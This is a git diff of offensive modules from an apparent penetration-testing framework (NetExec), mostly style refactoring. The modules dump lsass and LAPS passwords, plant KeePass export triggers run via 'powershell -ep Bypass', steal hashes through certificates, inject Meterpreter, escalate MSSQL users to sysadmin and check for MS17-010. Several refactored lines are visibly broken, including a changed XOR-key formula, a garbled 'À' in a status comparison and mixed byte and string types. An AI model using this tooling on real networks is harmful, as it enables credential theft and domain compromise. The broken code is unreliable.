poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
poll_export_command_output = connection.execute(poll_export_command_str, True)
# deletes every export found on the remote machine
@ -352,7 +346,7 @@ class NXCModule:
self.extract_password(context)
def trigger_added(self, context, connection):
"""check if the trigger is added to the config file XML tree (returns True/False)"""
"""Check if the trigger is added to the config file XML tree (returns True/False)"""
# check if the specified KeePass configuration file exists
if not self.keepass_config_path:
context.log.fail("No KeePass configuration file specified, exiting")
@ -372,19 +366,15 @@ class NXCModule:
sys.exit(1)
# check if the specified KeePass configuration file does not already contain the malicious trigger
for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"):
if trigger.find("Name").text == self.trigger_name:
return True
return False
return any(trigger.find("Name").text == self.trigger_name for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"))
def put_file_execute_delete(self, context, connection, psh_script_str):
"""Helper to upload script to a temporary folder, run then deletes it"""
script_str_io = StringIO(psh_script_str)
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
script_execute_cmd = f"powershell.exe -ep Bypass -F {self.remote_temp_script_path}"
connection.execute(script_execute_cmd, True)
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
remove_remote_temp_script_cmd = f'powershell.exe "Remove-Item "{self.remote_temp_script_path}""'
connection.execute(remove_remote_temp_script_cmd)
def extract_password(self, context):

View File

@ -1,9 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
from nxc.protocols.ldap.laps import LAPSv2Extract
class NXCModule:
"""
@ -22,20 +21,14 @@ class NXCModule:
multiple_hosts = False
def options(self, context, module_options):
"""
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
"""
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
self.computer = None
if "COMPUTER" in module_options:
self.computer = module_options["COMPUTER"]
def on_login(self, context, connection):
context.log.display("Getting LAPS Passwords")
if self.computer is not None:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
else:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" if self.computer is not None else "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
@ -52,15 +45,7 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(
bytes(msMCSAdmPwd),
connection.username if connection.username else "",
connection.password if connection.password else "",
connection.domain,
connection.nthash if connection.nthash else "",
connection.kerberos,
connection.kdcHost,
339)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
try:
data = d.run()
except Exception as e:
@ -78,6 +63,6 @@ class NXCModule:
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, password in laps_computers:
context.log.highlight("Computer:{} User:{:<15} Password:{}".format(sAMAccountName, user, password))
context.log.highlight(f"Computer:{sAMAccountName} User:{user:<15} Password:{password}")
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import ssl
import asyncio
@ -12,6 +10,8 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import sys
class NXCModule:
"""
@ -28,10 +28,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
No options available.
"""
pass
"""No options available."""
def on_login(self, context, connection):
# Conduct a bind to LDAPS and determine if channel
@ -44,7 +41,7 @@ class NXCModule:
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
exit()
sys.exit()
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
@ -57,16 +54,16 @@ class NXCModule:
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occured,
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error recieved from the bind attempt.
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
exit()
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
@ -123,15 +120,15 @@ class NXCModule:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e" or "data 532") in str(err):
elif ("data 52e") in str(err):
context.log.fail("Not connected... exiting")
exit()
sys.exit()
elif err is None:
return False
else:
context.log.fail(str(err))
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
@ -142,15 +139,7 @@ class NXCModule:
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.hostname + '.' + connection.domain,
88,
UniProto.CLIENT_TCP,
proxies=None,
dns=None,
dc_ip=connection.domain,
domain=connection.domain
)
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
@ -162,27 +151,27 @@ class NXCModule:
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected == False:
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected == True:
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
exit()
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) == True:
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck == True:
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
else:
context.log.fail("\nSomething went wrong...")
exit()
sys.exit()
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
@ -27,9 +25,7 @@ class NXCModule:
self.method = None
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
"""
"""METHOD Method to use to dump lsass.exe with lsassy"""
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
@ -60,7 +56,7 @@ class NXCModule:
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
context.log.fail("Unable to load dump method '{}'".format(self.method))
context.log.fail(f"Unable to load dump method '{self.method}'")
return False
file = dumper.dump()
@ -75,13 +71,13 @@ class NXCModule:
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug(f"Closed dumper file")
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug(f"Deleted dumper file")
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
@ -119,7 +115,7 @@ class NXCModule:
)
credentials_output.append(cred)
context.log.debug(f"Calling process_credentials")
context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output)
def process_credentials(self, context, connection, credentials):
@ -128,7 +124,7 @@ class NXCModule:
credz_bh = []
domain = None
for cred in credentials:
if cred["domain"] == None:
if cred["domain"] is None:
cred["domain"] = ""
domain = cred["domain"]
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
@ -157,7 +153,7 @@ class NXCModule:
def print_credentials(context, domain, username, password, lmhash, nthash):
if password is None:
password = ":".join(h for h in [lmhash, nthash] if h is not None)
output = "%s\\%s %s" % (domain, username, password)
output = f"{domain}\\{username} {password}"
context.log.highlight(output)
@staticmethod

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from masky import Masky
from nxc.helpers.bloodhound import add_user_bh
@ -13,7 +10,7 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
CA Certificate Authority Name (CA_SERVER\CA_NAME)
TEMPLATE Template name allowing users to authenticate with (default: User)
DC_IP IP Address of the domain controller
@ -85,7 +82,7 @@ class NXCModule:
pwned_users = 0
for user in rslts.users:
if user.nthash:
context.log.highlight(f"{user.domain}\{user.name} {user.nthash}")
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
self.process_credentials(connection, context, user)
pwned_users += 1
@ -115,7 +112,7 @@ class NXCModule:
if not tracker.files_cleaning_success:
context.log.fail("Fail to clean files related to Masky")
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
context.log.fail(f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', '{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'")
ret = False
if not tracker.svc_cleaning_success:

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sys import exit
@ -41,7 +38,6 @@ class NXCModule:
Set payload to what you want (windows/meterpreter/reverse_https, etc)
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
"""
self.met_ssl = "https"
if "SRVHOST" not in module_options or "SRVPORT" not in module_options:

View File

@ -1,17 +1,15 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# All credits to https://github.com/d4t4s3c/Win7Blue
# @d4t4s3c
# Module by @mpgn_x64
from ctypes import *
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
import socket
import struct
class NXCModule:
name = "ms17-010"
description = "MS17-010, /!\ not tested oustide home lab"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@ -25,7 +23,7 @@ class NXCModule:
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
class SMB_HEADER(Structure):
class SmbHeader(Structure):
"""SMB Header decoder."""
_pack_ = 1
@ -47,195 +45,284 @@ class SMB_HEADER(Structure):
("multiplex_id", c_uint16),
]
def __new__(self, buffer=None):
return self.from_buffer_copy(buffer)
def __new__(cls, buffer=None):
return cls.from_buffer_copy(buffer)
def generate_smb_proto_payload(*protos):
"""Generate SMB Protocol. Pakcet protos in order."""
hexdata = []
"""
Generates an SMB Protocol payload by concatenating a list of packet protos.
Args:
----
*protos (list): List of packet protos.
Returns:
-------
str: The generated SMB Protocol payload.
"""
# Initialize an empty list to store the hex data
hex_data = []
# Iterate over each proto in the input list
for proto in protos:
hexdata.extend(proto)
return "".join(hexdata)
# Extend the hex_data list with the elements of the current proto
hex_data.extend(proto)
# Join the elements of the hex_data list into a single string and return it
return "".join(hex_data)
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key"""
x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8))
x = x & 0xFFFFFFFF
return x
"""
Calculate Doublepulsar Xor Key.
Args:
----
s (int): The input value.
Returns:
-------
int: The calculated xor key.
"""
# Shift the value 16 bits to the left and combine it with the value shifted 8 bits to the left
# OR the result with s shifted 16 bits to the right and combined with s masked with 0xFF0000
temp = ((s & 0xFF00) | (s << 16)) << 8 | (((s >> 16) | s & 0xFF0000) >> 8)
# Multiply the temp value by 2 and perform a bitwise XOR with 0xFFFFFFFF
return 2 * temp ^ 0xFFFFFFFF
def negotiate_proto_request():
"""Generate a negotiate_proto_request packet."""
netbios = ["\x00", "\x00\x00\x54"]
# Define the NetBIOS header
netbios = [
"\x00", # Message Type
"\x00\x00\x54", # Length
]
# Define the SMB header
smb_header = [
"\xFF\x53\x4D\x42",
"\x72",
"\x00\x00\x00\x00",
"\x18",
"\x01\x28",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
"\x00\x00",
"\xC5\x5E",
"\xFF\x53\x4D\x42", # Server Component
"\x72", # SMB Command
"\x00\x00\x00\x00", # NT Status
"\x18", # Flags
"\x01\x28", # Flags2
"\x00\x00", # Process ID High
"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature
"\x00\x00", # Reserved
"\x00\x00", # Tree ID
"\x2F\x4B", # Process ID
"\x00\x00", # User ID
"\xC5\x5E", # Multiplex ID
]
# Define the negotiate_proto_request
negotiate_proto_request = [
"\x00",
"\x31\x00",
"\x02",
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00",
"\x02",
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00",
"\x02",
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00",
"\x02",
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00",
"\x00", # Word Count
"\x31\x00", # Byte Count
"\x02", # Requested Dialects Count
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects
"\x02", # Requested Dialects Count
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects
"\x02", # Requested Dialects Count
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects
"\x02", # Requested Dialects Count
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects
]
# Return the generated SMB protocol payload
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def session_setup_andx_request():
"""Generate session setuo andx request."""
netbios = ["\x00", "\x00\x00\x63"]
"""Generate session setup andx request."""
# Define the NetBIOS bytes
netbios = [
"\x00", # length
"\x00\x00\x63", # session service
]
# Define the SMB header bytes
smb_header = [
"\xFF\x53\x4D\x42",
"\x73",
"\x00\x00\x00\x00",
"\x18",
"\x01\x20",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
"\x00\x00",
"\xC5\x5E",
"\xFF\x53\x4D\x42", # server component
"\x73", # command
"\x00\x00\x00\x00", # NT status
"\x18", # flags
"\x01\x20", # flags2
"\x00\x00", # PID high
"\x00\x00\x00\x00\x00\x00\x00\x00", # signature
"\x00\x00", # reserved
"\x00\x00", # tid
"\x2F\x4B", # pid
"\x00\x00", # uid
"\xC5\x5E", # mid
]
# Define the session setup andx request bytes
session_setup_andx_request = [
"\x0D",
"\xFF",
"\x00",
"\x00\x00",
"\xDF\xFF",
"\x02\x00",
"\x01\x00",
"\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x00\x00\x00\x00",
"\x40\x00\x00\x00",
"\x26\x00",
"\x00",
"\x2e\x00",
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00",
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00",
"\x0D", # word count
"\xFF", # andx command
"\x00", # reserved
"\x00\x00", # andx offset
"\xDF\xFF", # max buffer
"\x02\x00", # max mpx count
"\x01\x00", # VC number
"\x00\x00\x00\x00", # session key
"\x00\x00", # ANSI password length
"\x00\x00", # Unicode password length
"\x00\x00\x00\x00", # reserved
"\x40\x00\x00\x00", # capabilities
"\x26\x00", # byte count
"\x00", # account name length
"\x2e\x00", # account name offset
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # account name
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # primary domain
]
# Call the generate_smb_proto_payload function and return the result
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def tree_connect_andx_request(ip, userid):
"""Generate tree connect andx request."""
def tree_connect_andx_request(ip: str, userid: str) -> str:
"""Generate tree connect andx request.
netbios = ["\x00", "\x00\x00\x47"]
Args:
----
ip (str): The IP address.
userid (str): The user ID.
Returns:
-------
bytes: The generated tree connect andx request payload.
"""
# Initialize the netbios header
netbios = [b"\x00", b"\x00\x00\x47"]
# Initialize the SMB header
smb_header = [
"\xFF\x53\x4D\x42",
"\x75",
"\x00\x00\x00\x00",
"\x18",
"\x01\x20",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
b"\xFF\x53\x4D\x42",
b"\x75",
b"\x00\x00\x00\x00",
b"\x18",
b"\x01\x20",
b"\x00\x00",
b"\x00\x00\x00\x00\x00\x00\x00\x00",
b"\x00\x00",
b"\x00\x00",
b"\x2F\x4B",
userid,
"\xC5\x5E",
b"\xC5\x5E",
]
ipc = "\\\\{}\IPC$\x00".format(ip)
# Create the IPC string
ipc = f"\\\\{ip}\\IPC$\\x00"
# Initialize the tree connect andx request
tree_connect_andx_request = [
"\x04",
"\xFF",
"\x00",
"\x00\x00",
"\x00\x00",
"\x01\x00",
"\x1A\x00",
"\x00",
b"\x04",
b"\xFF",
b"\x00",
b"\x00\x00",
b"\x00\x00",
b"\x01\x00",
b"\x1A\x00",
b"\x00",
ipc.encode(),
"\x3f\x3f\x3f\x3f\x3f\x00",
b"\x3f\x3f\x3f\x3f\x3f\x00",
]
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
# Calculate the length of the payload
length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request))
# Update the length in the netbios header
netbios[1] = struct.pack(">L", length)[-3:]
# Generate the final SMB protocol payload
return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
"""Generate tran2 request"""
"""
Generate tran2 request.
Args:
----
treeid (str): The tree ID.
processid (str): The process ID.
userid (str): The user ID.
multiplex_id (str): The multiplex ID.
Returns:
-------
str: The generated SMB protocol payload.
"""
# Set the necessary values for the netbios header
netbios = ["\x00", "\x00\x00\x4a"]
# Set the values for the SMB header
smb_header = [
"\xFF\x53\x4D\x42",
"\x25",
"\x00\x00\x00\x00",
"\x18",
"\x01\x28",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
treeid,
processid,
userid,
multiplex_id,
"\xFF\x53\x4D\x42", # Server Component
"\x25", # SMB Command
"\x00\x00\x00\x00", # NT Status
"\x18", # Flags2
"\x01\x28", # Process ID High & Multiplex ID
"\x00\x00", # Tree ID
"\x00\x00\x00\x00\x00\x00\x00\x00", # NT Time
"\x00\x00", # Process ID Low
treeid, # Tree ID
processid, # Process ID
userid, # User ID
multiplex_id, # Multiplex ID
]
# Set the values for the transaction request
tran_request = [
"\x10",
"\x00\x00",
"\x00\x00",
"\xff\xff",
"\xff\xff",
"\x00",
"\x00",
"\x00\x00",
"\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x4a\x00",
"\x00\x00",
"\x4a\x00",
"\x02",
"\x00",
"\x23\x00",
"\x00\x00",
"\x07\x00",
"\x5c\x50\x49\x50\x45\x5c\x00",
"\x10", # Word Count
"\x00\x00", # Total Parameter Count
"\x00\x00", # Total Data Count
"\xff\xff", # Max Parameter Count
"\xff\xff", # Max Data Count
"\x00", # Max Setup Count
"\x00", # Reserved
"\x00\x00", # Flags
"\x00\x00\x00\x00", # Timeout
"\x00\x00", # Reserved
"\x00\x00", # Parameter Count
"\x4a\x00", # Parameter Offset
"\x00\x00", # Data Count
"\x4a\x00", # Data Offset
"\x02", # Setup Count
"\x00", # Reserved
"\x23\x00", # Function Code
"\x00\x00", # Reserved2
"\x07\x00", # Byte Count
"\x5c\x50\x49\x50\x45\x5c\x00", # Transaction Name
]
# Generate the SMB protocol payload
return generate_smb_proto_payload(netbios, smb_header, tran_request)
def trans2_request(treeid, processid, userid, multiplex_id):
"""Generate trans2 request."""
def trans2_request(treeid: str, processid: str, userid: str, multiplex_id: str) -> str:
"""Generate trans2 request.
Args:
----
treeid: The treeid parameter.
processid: The processid parameter.
userid: The userid parameter.
multiplex_id: The multiplex_id parameter.
Returns:
-------
The generated SMB protocol payload.
"""
# Define the netbios section of the SMB request
netbios = ["\x00", "\x00\x00\x4f"]
# Define the SMB header section of the SMB request
smb_header = [
"\xFF\x53\x4D\x42",
"\x32",
@ -251,6 +338,7 @@ def trans2_request(treeid, processid, userid, multiplex_id):
multiplex_id,
]
# Define the trans2 request section of the SMB request
trans2_request = [
"\x0f",
"\x0c\x00",
@ -273,66 +361,79 @@ def trans2_request(treeid, processid, userid, multiplex_id):
"\x0c\x00" + "\x00" * 12,
]
# Generate the SMB protocol payload by combining the netbios, smb_header, and trans2_request sections
return generate_smb_proto_payload(netbios, smb_header, trans2_request)
def check(ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists."""
"""Check if MS17_010 SMB Vulnerability exists.
Args:
----
ip (str): The IP address of the target machine.
port (int, optional): The port number to connect to. Defaults to 445.
Returns:
-------
bool: True if the vulnerability exists, False otherwise.
"""
try:
buffersize = 1024
timeout = 5.0
# Create a socket and connect to the target IP and port
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.settimeout(timeout)
client.connect((ip, port))
# Send negotiate protocol request and receive response
raw_proto = negotiate_proto_request()
client.send(raw_proto)
tcp_response = client.recv(buffersize)
# Send session setup request and receive response
raw_proto = session_setup_andx_request()
client.send(raw_proto)
tcp_response = client.recv(buffersize)
netbios = tcp_response[:4]
tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
smb = SmbHeader(smb_header)
user_id = struct.pack("<H", smb.user_id)
# Extract native OS from session setup response
session_setup_andx_response = tcp_response[36:]
native_os = session_setup_andx_response[9:].split("\x00")[0]
session_setup_andx_response[9:].split("\x00")[0]
# Send tree connect request and receive response
raw_proto = tree_connect_andx_request(ip, user_id)
client.send(raw_proto)
tcp_response = client.recv(buffersize)
netbios = tcp_response[:4]
tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
smb = SmbHeader(smb_header)
tree_id = struct.pack("<H", smb.tree_id)
process_id = struct.pack("<H", smb.process_id)
user_id = struct.pack("<H", smb.user_id)
multiplex_id = struct.pack("<H", smb.multiplex_id)
# Send peek named pipe request and receive response
raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
client.send(raw_proto)
tcp_response = client.recv(buffersize)
netbios = tcp_response[:4]
tcp_response[:4]
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
smb = SmbHeader(smb_header)
nt_status = struct.pack("BBH", smb.error_class, smb.reserved1, smb.error_code)
if nt_status == "\x05\x02\x00\xc0":
return True
elif nt_status in ("\x08\x00\x00\xc0", "\x22\x00\x00\xc0"):
return False
else:
return False
# Check the NT status to determine if the vulnerability exists
return nt_status == "\x05\x02\x00À"
except Exception as err:
except Exception:
return False
finally:
client.close()

View File

@ -3,6 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
import sys
from nxc.helpers.powershell import get_ps_script
@ -27,9 +28,7 @@ class NXCModule:
self.module_options = module_options
def options(self, context, module_options):
"""
MSOL_PS1 // Path to the msol binary on your computer
"""
"""MSOL_PS1 // Path to the msol binary on your computer"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@ -37,7 +36,7 @@ class NXCModule:
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
@ -51,8 +50,14 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
else:
if path.isfile(self.MSOL_PS1):
file_to_upload = self.MSOL_PS1
@ -64,25 +69,25 @@ class NXCModule:
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success(f"Msol script successfully uploaded")
context.log.success("Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "":
context.log.display(f"Executing the script")
context.log.display("Executing the script")
p = self.exec_script(context, connection)
for line in p.splitlines():
p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}")
else:
context.log.fail(f"Script Execution Impossible")
context.log.fail("Script Execution Impossible")
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success(f"Msol script successfully deleted")
context.log.success("Msol script successfully deleted")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")

View File

@ -1,9 +1,5 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain de Reydellet (@pentest_soka)
from nxc.helpers.logger import highlight
@ -22,9 +18,7 @@ class User:
class NXCModule:
"""
Enumerate MSSQL privileges and exploit them
"""
"""Enumerate MSSQL privileges and exploit them"""
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
@ -92,9 +86,20 @@ class NXCModule:
elif target_user.dbowner:
self.do_dbowner_privesc(target_user.dbowner, exec_as)
if self.is_admin_user(self.current_username):
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("nxc", "pwn3d_label"))))
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight(f"({self.context.conf.get('nxc', 'pwn3d_label')})"))
def build_exec_as_from_path(self, target_user):
"""
Builds an 'exec_as' path based on the given target user.
Args:
----
target_user (User): The target user for building the 'exec_as' path.
Returns:
-------
str: The 'exec_as' path built from the target user's username and its parent usernames.
"""
path = [target_user.username]
parent = target_user.parent
while parent:
@ -105,6 +110,19 @@ class NXCModule:
return self.sql_exec_as(reversed(path))
def browse_path(self, context, initial_user: User, user: User) -> User:
"""
Browse the path of user impersonation.
Parameters
----------
context (Context): The context of the function.
initial_user (User): The initial user.
